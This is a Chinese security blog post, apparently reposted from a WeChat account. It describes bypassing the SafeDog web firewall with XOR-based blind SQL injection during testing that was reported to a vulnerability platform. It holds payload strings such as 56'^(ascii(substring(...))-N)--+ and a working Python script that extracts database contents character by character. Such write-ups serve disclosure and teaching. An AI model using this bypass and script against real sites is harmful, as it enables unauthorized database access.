前言
BYPASS安全狗-我也很“异或”
我这个菜鸡当然只会垃圾的sql注入,getshell是不可能的这辈子都是不可能的,不多废话,上菜。
实战开始
一如既往的输入框输入单引号,昂?报错
机会来了,马上闭合注释,运气不错,没过滤这些
正当我想继续深入下一阶段的时候,那令人厌恶的safedog出现了
一顿操作,and or || && 都给我ban的死死的,正当我以为无计可施的时候,atao师傅提醒了我,试试异或注入
那么就先讲讲异或注入吧,简单的演示简单的用例异或1
异或0
也就是说异或0就会还是本身
异或-1则不存在
因为是bool盲注,那么我们就可以这么操作,这里举个例子
可以看到异或1不存在,所以可以这么构造0
再拓展
这里如果需要构造出0,那就只能减s的ascii码值,s的ascii码值为115
异或注入分析大概就是这样,然后去测试,就让我也疑惑了,这异或就很疑惑
当我测试id为56的时候服务器500错误
也就是说id为56的数据不存在,但是当输入 56^0 的时候竟然又存在!!!例如测试数据库的第一个字符
例如这里 当减100时,56^-1等于一个不存在的内容,所以就回显500,因为异或-1肯定不存在,也就判断出了数据库名称的第一个字母是c也就是ascii码的99
我敢确定第一个数据库第一个字符是c因为最后我得出的数据库名就是站点的名称,所以这样用是不会错的,但是疑惑的是id为56的数据明明就不存在,为何异或0就存在了呢,这不就推翻了之前的测试?难道mssql和mysql的异或不一样?我有了那么多疑惑,但是又是黑盒测试,咱也不知道人家的sql语句怎么写的,但是又注入的没错,没办法了,也可能是我太菜了,还需要多学习学习,如果弟弟有哪里说错的地方,还望大师傅们指导指导,最后也编写了脚本进行注入
# -*- coding:utf-8 -*-
import requests
import time
url = "http://ip?id="
def main():
result = ""
for i in range(1, 200):
low = 31
high = 128
while low < high:
mid = int((low + high) / 2)
content = "@@version"
sql = f"56'^(ascii(substring(({content}),{i},1))-{mid})--+"
response = requests.get(url=url+sql)
time.sleep(3)
if response.status_code == 500:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 128 or low == high == 31:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
结果如下
所以说过滤还需严谨,危险函数和字符也需要过滤,但是太严谨了我这个菜鸡不就没得玩了吗?害终于整了很长时间,到了提交edusrc的时候
本文始发于微信公众号(F12sec):实战 | BYPASS安全狗-我也很“异或”
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论